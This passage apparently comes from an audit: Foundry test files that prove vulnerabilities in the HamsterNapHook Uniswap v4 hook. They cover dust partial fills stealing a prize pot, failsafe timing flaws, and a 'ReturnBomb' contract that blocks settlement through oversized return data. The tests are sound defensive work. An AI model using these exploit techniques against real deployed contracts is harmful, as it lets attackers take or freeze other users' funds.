// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";

contract ProofCore is ISqueekCore {
    uint64 public frontier;
    function setFrontier(uint64 f) external { frontier = f; }
    function configuration() external pure returns (CoreConfiguration memory c) {
        c.genesisTimestamp = 1793022600;
        c.roundDuration = 600;
        c.maxRoundsPerBatch = 16;
    }
    function state() external view returns (CoreState memory s) { s.settledThroughRound = frontier; }
    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external view returns (RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier && maxRecords == 16);
        p.certifiedThroughRound = throughRound;
        bool containsWorkedRound = afterRound < 650 && throughRound >= 650;
        p.rounds = new RoundCheckpoint[](containsWorkedRound ? 1 : 0);
        if (containsWorkedRound) {
            p.rounds[0].roundId = 650;
            p.rounds[0].cumulativeWork = 1;
        }
    }
}

contract PartialFillProofTest is Test, IUnlockCallback {
    using StateLibrary for IPoolManager;
    PoolManager manager;
    HamsterNapHook hook;
    NapToken token;
    ProofCore core;
    PoolKey key;
    address alice;
    address bob;
    uint64 constant GENESIS = 1793022600;

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(GENESIS + 649 * 600 + 17); // round 650
        vm.deal(address(this), 2_000_000 ether);
        alice = makeAddr("proof.alice");
        bob = makeAddr("proof.bob");
        manager = new PoolManager(address(this));
        token = new NapToken();
        bytes32 initHash = keccak256(abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(manager, address(this))));
        bool found;
        for (uint256 salt; salt < 500_000; salt++) {
            address predicted = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash)))));
            if (uint160(predicted) & 0x3fff == 0x20cc) {
                hook = new HamsterNapHook{salt: bytes32(salt)}(manager, address(this));
                found = true;
                break;
            }
        }
        require(found, "salt search");
        vm.etch(address(hook.CORE()), address(new ProofCore()).code);
        core = ProofCore(address(hook.CORE()));
        core.setFrontier(649);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 12500, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1 << 96));
        manager.unlock(abi.encode(true, int256(0), uint160(0)));
    }

    function test_partialFillBelowThresholdMustNotReplaceWinner() public {
        vm.prank(alice, alice);
        this.trade(-int256(1 ether), TickMath.MIN_SQRT_PRICE + 1);
        assertEq(hook.latestBuyer(), alice);
        (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        uint160 limit = price - price / 1e12;
        uint256 before = address(this).balance;
        vm.prank(bob, bob);
        bytes memory result = this.trade(-int256(0.001 ether), limit);
        BalanceDelta filled = abi.decode(result, (BalanceDelta));
        uint256 actualSpent = before - address(this).balance;
        assertEq(actualSpent, uint256(uint128(-filled.amount0())));
        assertGt(filled.amount1(), 0);
        assertLt(actualSpent, 0.001 ether, "Bob's actual buy is dust");
        emit log_named_uint("Bob actual ETH spent", actualSpent);
        emit log_named_uint("Bob charged fee", hook.cumulativeFees() - 0.02 ether);
        core.setFrontier(653); // 651,652,653 have zero work
        vm.warp(GENESIS + 653 * 600);
        uint256 potBefore = hook.pot();
        hook.settleNaps(1);
        // Expected: Alice's qualifying buy wins. Actual: Bob spent only ~0.000021 ETH,
        // but the hook used his requested 0.001 ETH and paid him the entire pot.
        assertEq(alice.balance, potBefore, "a partial dust fill must not steal Alice's pot");
        assertEq(bob.balance, 0);
    }

    function trade(int256 amount, uint160 limit) external returns (bytes memory) {
        return manager.unlock(abi.encode(false, amount, limit));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (bool seed, int256 amount, uint160 limit) = abi.decode(data, (bool, int256, uint160));
        BalanceDelta delta;
        if (seed) {
            (delta,) = manager.modifyLiquidity(key, ModifyLiquidityParams(
                TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1_000_000 ether, bytes32(0)
            ), "");
        } else {
            delta = manager.swap(key, SwapParams(true, amount, limit), "");
        }
        if (delta.amount0() < 0) {
            manager.sync(key.currency0);
            manager.settle{value: uint256(uint128(-delta.amount0()))}();
        } else if (delta.amount0() > 0) {
            manager.take(key.currency0, address(this), uint256(uint128(delta.amount0())));
        }
        if (delta.amount1() < 0) {
            manager.sync(key.currency1);
            token.transfer(address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        } else if (delta.amount1() > 0) {
            manager.take(key.currency1, address(this), uint256(uint128(delta.amount1())));
        }
        return abi.encode(delta);
    }
    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";

contract ProofCore is ISqueekCore {
    uint64 public frontier;
    function setFrontier(uint64 f) external { frontier = f; }
    function configuration() external pure returns (CoreConfiguration memory c) {
        c.genesisTimestamp = 1793022600;
        c.roundDuration = 600;
        c.maxRoundsPerBatch = 16;
    }
    function state() external view returns (CoreState memory s) { s.settledThroughRound = frontier; }
    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external view returns (RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier && maxRecords == 16);
        p.certifiedThroughRound = throughRound;
        bool containsWorkedRound = afterRound < 650 && throughRound >= 650;
        p.rounds = new RoundCheckpoint[](containsWorkedRound ? 1 : 0);
        if (containsWorkedRound) {
            p.rounds[0].roundId = 650;
            p.rounds[0].cumulativeWork = 1;
        }
    }
}

contract FrontierAdvanceProofTest is Test, IUnlockCallback {
    using StateLibrary for IPoolManager;
    PoolManager manager;
    HamsterNapHook hook;
    NapToken token;
    ProofCore core;
    PoolKey key;
    address alice;
    address bob;
    uint64 constant GENESIS = 1793022600;

    function setUp() public {
        vm.chainId(11155111);
        vm.warp(GENESIS + 649 * 600 + 17); // round 650
        vm.deal(address(this), 2_000_000 ether);
        alice = makeAddr("proof.alice");
        bob = makeAddr("proof.bob");
        manager = new PoolManager(address(this));
        token = new NapToken();
        bytes32 initHash = keccak256(abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(manager, address(this))));
        bool found;
        for (uint256 salt; salt < 500_000; salt++) {
            address predicted = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash)))));
            if (uint160(predicted) & 0x3fff == 0x20cc) {
                hook = new HamsterNapHook{salt: bytes32(salt)}(manager, address(this));
                found = true;
                break;
            }
        }
        require(found, "salt search");
        vm.etch(address(hook.CORE()), address(new ProofCore()).code);
        core = ProofCore(address(hook.CORE()));
        core.setFrontier(649);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 12500, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1 << 96));
        manager.unlock(abi.encode(true, int256(0), uint160(0)));
    }

    function test_recentFrontierAdvanceMustResetSevenDayFailsafe() public {
        vm.prank(alice, alice);
        this.trade(-int256(1 ether), TickMath.MIN_SQRT_PRICE + 1);
        assertEq(hook.lastSeenFrontier(), 649);
        vm.warp(block.timestamp + 8 days);
        // The core is recovering a backlog: it advances now, although round 650 is old.
        core.setFrontier(650);
        vm.prank(bob, bob);
        this.trade(-int256(0.001 ether), TickMath.MIN_SQRT_PRICE + 1);
        assertEq(hook.lastSeenFrontier(), 650, "the hook has observed a fresh advancement");
        assertGt(hook.pot(), 0);
        // Expected: advancement just happened, so the frontier has not stood still for 7 days.
        // Actual: failsafe pays Bob immediately because it dates staleness from round 650's end.
        vm.expectRevert();
        hook.failsafe();
    }

    function trade(int256 amount, uint160 limit) external returns (bytes memory) {
        return manager.unlock(abi.encode(false, amount, limit));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (bool seed, int256 amount, uint160 limit) = abi.decode(data, (bool, int256, uint160));
        BalanceDelta delta;
        if (seed) {
            (delta,) = manager.modifyLiquidity(key, ModifyLiquidityParams(
                TickMath.minUsableTick(60), TickMath.maxUsableTick(60), 1_000_000 ether, bytes32(0)
            ), "");
        } else {
            delta = manager.swap(key, SwapParams(true, amount, limit), "");
        }
        if (delta.amount0() < 0) {
            manager.sync(key.currency0);
            manager.settle{value: uint256(uint128(-delta.amount0()))}();
        } else if (delta.amount0() > 0) {
            manager.take(key.currency0, address(this), uint256(uint128(delta.amount0())));
        }
        if (delta.amount1() < 0) {
            manager.sync(key.currency1);
            token.transfer(address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        } else if (delta.amount1() > 0) {
            manager.take(key.currency1, address(this), uint256(uint128(delta.amount1())));
        }
        return abi.encode(delta);
    }
    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Zero-work core: every settled round had no work.
contract SleepyCore {
    uint64 public frontier;
    function setFrontier(uint64 f) external { frontier = f; }
    function state() external view returns (ISqueekCore.CoreState memory s) { s.settledThroughRound = frontier; }
    uint64 public constant worked = 650;
    function roundPage(uint64 afterRound, uint64 throughRound, uint256) external view returns (ISqueekCore.RoundPage memory p) {
        require(throughRound <= frontier, "bounds");
        p.certifiedThroughRound = throughRound;
        if (afterRound < worked && worked <= throughRound) {
            p.rounds = new ISqueekCore.RoundCheckpoint[](1);
            p.rounds[0].roundId = worked;
        }
    }
}

/// Code an EIP-7702-delegated EOA can run: accepts ETH and answers with as much return data as its gas allows.
contract ReturnBomb {
    fallback() external payable {
        uint256 g = gasleft();
        uint256 x = g * 512;
        uint256 r = x;
        uint256 y = (r + 1) / 2;
        while (y < r) { r = y; y = (r + x / r) / 2; }
        uint256 size = (r * 85 / 100) * 32;
        assembly { return(0, size) }
    }
}

contract MiniRouter is IUnlockCallback {
    IPoolManager immutable manager;
    constructor(IPoolManager m) { manager = m; }
    function swap(PoolKey memory key, bool zeroForOne, int256 amount) external {
        manager.unlock(abi.encode(true, abi.encode(key, zeroForOne, amount)));
    }
    function addLiquidity(PoolKey memory key, int256 liq) external {
        manager.unlock(abi.encode(false, abi.encode(key, zeroForOne_dummy(), liq)));
    }
    function zeroForOne_dummy() internal pure returns (bool) { return false; }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        (PoolKey memory key, bool z, int256 amt) = abi.decode(inner, (PoolKey, bool, int256));
        BalanceDelta d;
        if (isSwap) {
            d = manager.swap(key, SwapParams(z, amt, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        } else {
            (d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(-887220, 887220, amt, 0), "");
        }
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }
    function _settle(Currency c, int128 a) private {
        if (a < 0) {
            uint256 o = uint256(uint128(-a));
            manager.sync(c);
            if (c.isAddressZero()) manager.settle{value: o}();
            else { IERC20(Currency.unwrap(c)).transfer(address(manager), o); manager.settle(); }
        } else if (a > 0) manager.take(c, address(this), uint256(uint128(a)));
    }
    receive() external payable {}
}

contract ReturnBombWinnerTest is Test {
    uint64 constant GENESIS = 1793022600;
    uint160 constant FLAGS = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
        | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;

    function _start(uint64 round) internal pure returns (uint256) { return GENESIS + uint256(round - 1) * 600; }

    function test_winnerReturnBombMustNotBlockSettleNaps() public {
        vm.warp(_start(650) + 17);
        PoolManager manager = new PoolManager(address(this));
        NapToken token = new NapToken();
        address factory = makeAddr("factory");
        bytes memory init = abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(manager, factory));
        bytes32 h = keccak256(init);
        HamsterNapHook hook;
        for (uint256 i; ; i++) {
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(p) & Hooks.ALL_HOOK_MASK != FLAGS) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(manager, factory);
            break;
        }
        SleepyCore core = SleepyCore(address(hook.CORE()));
        vm.etch(address(core), address(new SleepyCore()).code);
        core.setFrontier(649);

        PoolKey memory key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        MiniRouter router = new MiniRouter(manager);
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);

        // The winner is an EOA (tx.origin) that delegated its code via EIP-7702 (simulated with etch).
        address winner = makeAddr("winner");
        vm.etch(winner, address(new ReturnBomb()).code);
        vm.prank(winner, winner);
        router.swap(key, true, -1 ether); // pays 0.02 ETH fee, becomes latest buyer in round 650

        // Rounds 651..653 are settled with zero work: a nap starting at 651 that winner wins.
        core.setFrontier(653);
        vm.warp(_start(654) + 1);
        uint256 potBefore = hook.pot();
        assertEq(potBefore, 0.02 ether);

        // Any caller, with a full Sepolia-sized gas budget, must be able to settle the nap.
        uint256 settled = hook.settleNaps{gas: 30_000_000}(1);
        assertEq(settled, 1, "nap not settled");
        assertEq(hook.pot(), 0, "pot not paid");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Zero-work core: every settled round had no work.
contract SleepyCore {
    uint64 public frontier;
    function setFrontier(uint64 f) external { frontier = f; }
    function state() external view returns (ISqueekCore.CoreState memory s) { s.settledThroughRound = frontier; }
    uint64 public constant worked = 650;
    function roundPage(uint64 afterRound, uint64 throughRound, uint256) external view returns (ISqueekCore.RoundPage memory p) {
        require(throughRound <= frontier, "bounds");
        p.certifiedThroughRound = throughRound;
        if (afterRound < worked && worked <= throughRound) {
            p.rounds = new ISqueekCore.RoundCheckpoint[](1);
            p.rounds[0].roundId = worked;
        }
    }
}

/// Code an EIP-7702-delegated EOA can run: accepts ETH and answers with as much return data as its gas allows.
contract ReturnBomb {
    fallback() external payable {
        uint256 g = gasleft();
        uint256 x = g * 512;
        uint256 r = x;
        uint256 y = (r + 1) / 2;
        while (y < r) { r = y; y = (r + x / r) / 2; }
        uint256 size = (r * 85 / 100) * 32;
        assembly { return(0, size) }
    }
}

contract MiniRouter is IUnlockCallback {
    IPoolManager immutable manager;
    constructor(IPoolManager m) { manager = m; }
    function swap(PoolKey memory key, bool zeroForOne, int256 amount) external {
        manager.unlock(abi.encode(true, abi.encode(key, zeroForOne, amount)));
    }
    function addLiquidity(PoolKey memory key, int256 liq) external {
        manager.unlock(abi.encode(false, abi.encode(key, zeroForOne_dummy(), liq)));
    }
    function zeroForOne_dummy() internal pure returns (bool) { return false; }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        (PoolKey memory key, bool z, int256 amt) = abi.decode(inner, (PoolKey, bool, int256));
        BalanceDelta d;
        if (isSwap) {
            d = manager.swap(key, SwapParams(z, amt, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        } else {
            (d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(-887220, 887220, amt, 0), "");
        }
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return "";
    }
    function _settle(Currency c, int128 a) private {
        if (a < 0) {
            uint256 o = uint256(uint128(-a));
            manager.sync(c);
            if (c.isAddressZero()) manager.settle{value: o}();
            else { IERC20(Currency.unwrap(c)).transfer(address(manager), o); manager.settle(); }
        } else if (a > 0) manager.take(c, address(this), uint256(uint128(a)));
    }
    receive() external payable {}
}

contract FailsafeSkipsCertifiedNapTest is Test {
    uint64 constant GENESIS = 1793022600;
    uint160 constant FLAGS = Hooks.BEFORE_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
        | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG;

    function _start(uint64 round) internal pure returns (uint256) { return GENESIS + uint256(round - 1) * 600; }

    function test_failsafeMustNotPayACertifiedNapsPotToALaterBuyer() public {
        vm.warp(_start(650) + 17);
        PoolManager manager = new PoolManager(address(this));
        NapToken token = new NapToken();
        address factory = makeAddr("factory");
        bytes memory init = abi.encodePacked(type(HamsterNapHook).creationCode, abi.encode(manager, factory));
        bytes32 h = keccak256(init);
        HamsterNapHook hook;
        for (uint256 i; ; i++) {
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(p) & Hooks.ALL_HOOK_MASK != FLAGS) continue;
            hook = new HamsterNapHook{salt: bytes32(i)}(manager, factory);
            break;
        }
        SleepyCore core = SleepyCore(address(hook.CORE()));
        vm.etch(address(core), address(new SleepyCore()).code);
        core.setFrontier(649);

        PoolKey memory key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12500, 60, IHooks(address(hook)));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        MiniRouter router = new MiniRouter(manager);
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        vm.prank(alice, alice);
        router.swap(key, true, -1 ether); // round 650: alice is latest buyer, pot 0.02
        // Core certifies 651..653 with zero work: a nap starting at 651 that alice wins.
        core.setFrontier(653);
        vm.warp(_start(660));
        vm.prank(bob, bob);
        router.swap(key, true, -0.05 ether); // round 660: bob buys after the nap, fee 0.001
        // The core freezes at 653; nobody calls settleNaps for 7 days.
        vm.warp(block.timestamp + 7 days + 1);
        // Today failsafe pays bob 0.021 ETH, alice's 0.02 nap pot included.
        try hook.failsafe() {} catch {}
        try hook.settleNaps(1) {} catch {}
        // The certified nap's pot belongs to alice.
        assertEq(alice.balance, 0.02 ether, "certified nap winner robbed by failsafe");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal SqueekCore stand-in: frontier plus per-round work; roundPage returns worked rounds only.
contract MiniCore {
    uint64 public frontier;
    mapping(uint64 => uint64) public workOf;

    function set(uint64 f) external { frontier = f; }
    function setWork(uint64 r, uint64 w) external { workOf[r] = w; }

    function state() external view returns (ISqueekCore.CoreState memory s) {
        s.settledThroughRound = frontier;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256)
        external
        view
        returns (ISqueekCore.RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        uint256 n;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) if (workOf[r] > 0) n++;
        p.rounds = new ISqueekCore.RoundCheckpoint[](n);
        uint256 i;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) {
            if (workOf[r] > 0) p.rounds[i++].roundId = r;
        }
        p.certifiedThroughRound = throughRound;
    }
}

contract Router is IUnlockCallback {
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function swap(PoolKey memory key, bool zfo, int256 amt) external {
        uint160 lim = zfo ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1;
        m.unlock(abi.encode(uint8(0), key, abi.encode(SwapParams(zfo, amt, lim))));
    }

    function addLiquidity(PoolKey memory key, int256 liq) external {
        m.unlock(abi.encode(uint8(1), key, abi.encode(ModifyLiquidityParams(-887220, 887220, liq, 0))));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (uint8 kind, PoolKey memory key, bytes memory p) = abi.decode(data, (uint8, PoolKey, bytes));
        BalanceDelta d;
        if (kind == 0) d = m.swap(key, abi.decode(p, (SwapParams)), "");
        else (d,) = m.modifyLiquidity(key, abi.decode(p, (ModifyLiquidityParams)), "");
        _resolve(key.currency0, d.amount0());
        _resolve(key.currency1, d.amount1());
        return "";
    }

    function _resolve(Currency c, int128 a) private {
        if (a < 0) {
            uint256 owe = uint256(uint128(-a));
            if (c.isAddressZero()) {
                m.settle{value: owe}();
            } else {
                m.sync(c);
                IERC20(Currency.unwrap(c)).transfer(address(m), owe);
                m.settle();
            }
        } else if (a > 0) {
            m.take(c, address(this), uint256(uint128(a)));
        }
    }
}

contract FailsafeNapTest is Test {
    uint64 constant GENESIS = 1793022600;
    PoolManager manager;
    HamsterNapHook hook;
    NapToken token;
    MiniCore core;
    Router router;
    PoolKey key;
    address factory = makeAddr("factory");
    address winner = makeAddr("winner");
    address later = makeAddr("later");
    address sniper = makeAddr("sniper");

    function _start(uint64 round) internal pure returns (uint256) {
        return GENESIS + uint256(round - 1) * 600;
    }

    function setUp() public {
        vm.warp(_start(651) + 17);
        manager = new PoolManager(address(this));
        token = new NapToken();
        address hookAddr = address(uint160(0x4444000000000000000000000000000000000000) | uint160(0x20CC));
        deployCodeTo("HamsterNapHook.sol:HamsterNapHook", abi.encode(address(manager), factory), hookAddr);
        hook = HamsterNapHook(payable(hookAddr));
        core = MiniCore(address(hook.CORE()));
        vm.etch(address(core), address(new MiniCore()).code);
        core.set(649);
        key = PoolKey(CurrencyLibrary.ADDRESS_ZERO, Currency.wrap(address(token)), 12_500, 60, IHooks(hookAddr));
        vm.prank(factory);
        manager.initialize(key, 79228162514264337593543950336);
        router = new Router(manager);
        vm.deal(address(router), 1_000 ether);
        token.transfer(address(router), 900_000_000 ether);
        router.addLiquidity(key, 100 ether);
    }

    function _buy(address who, uint256 eth) internal {
        vm.prank(who, who);
        router.swap(key, true, -int256(eth));
    }

    /// Nap certified at round 652 (winner bought in 651), then the core stalls. Seven days later the
    /// failsafe pays the whole pot, the nap winner's share included, to a buyer from after the nap.
    function test_failsafeTakesCertifiedNapWinnersPot() public {
        _buy(winner, 1 ether); // round 651, fee 0.02 ETH
        core.setWork(651, 500);
        vm.warp(_start(653) + 5);
        _buy(later, 0.001 ether); // round 653, during the nap: counts for the next game
        vm.warp(_start(655) + 1);
        core.set(654); // rounds 652..654 zero work: nap at 652 certified; core stalls here
        _buy(later, 0.001 ether); // the hook observes frontier 654

        (address napWinner, uint256 napAmount) = hook.winnerBefore(652);
        assertEq(napWinner, winner);
        assertEq(napAmount, 0.02 ether);

        vm.warp(block.timestamp + 7 days + 1);
        hook.failsafe(); // anyone; nobody called settleNaps in the 7 days

        // The certified nap at 652 must still pay its winner the fees collected before round 652.
        hook.settleNaps(1);
        assertEq(winner.balance + hook.owed(winner), 0.02 ether, "nap winner lost the pot");
    }

}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {HamsterNapHook} from "src/HamsterNapHook.sol";
import {NapToken} from "src/NapToken.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal SqueekCore stand-in: frontier plus per-round work; roundPage returns worked rounds only.
contract MiniCore {
    uint64 public frontier;
    mapping(uint64 => uint64) public workOf;

    function set(uint64 f) external { frontier = f; }
    function setWork(uint64 r, uint64 w) external { workOf[r] = w; }

    function state() external view returns (ISqueekCore.CoreState memory s) {
        s.settledThroughRound = frontier;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256)
        external
        view
        returns (ISqueekCore.RoundPage memory p)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        uint256 n;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) if (workOf[r] > 0) n++;
        p.rounds = new ISqueekCore.RoundCheckpoint[](n);
        uint256 i;
        for (uint64 r = afterRound + 1; r <= throughRound; r++) {
            if (workOf[r] > 0) p.rounds[i++].roundId = r;
        }
        p.certifiedThroughRound = throughRound;
    }
}

contract Router is IUnlockCallback {
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function swap(PoolKey memory key, bool zfo, int256 amt) external {
        uint160 lim = zfo ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1;
        m.unlock(abi.encode(uint8(0), key, abi.encode(SwapParams(zfo, amt, lim))));
    }

    function addLiquidity(PoolKey memory key, int256 liq) external {
        m.unlock(abi.encode(uint8(1), key, abi.encode(ModifyLiquidityParams(-887220, 887220, liq, 0))));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (uint8 kind, PoolKey memory key, bytes memory p) = abi.decode(data, (uint8, PoolKey, bytes));
        BalanceDelta d;
        if (kind == 0) d = m.swap(key, abi.decode(p, (SwapParams)), "");
        else (d,) = m.modifyLiquidity(key, abi.decode(p, (ModifyLiquidityParams)), "");
        _resolve(key.currency0, d.amount0());
        _resolve(key.currency1, d.amount1());
        return "";
    }

    function _resolve(Currency c, int128 a) private {
        if (a < 0) {
            uint256 owe = uint256(uint128(-a));
            if (c.isAddressZero()) {
                m.settle{value: owe}();
            } else {
                m.sync(c);
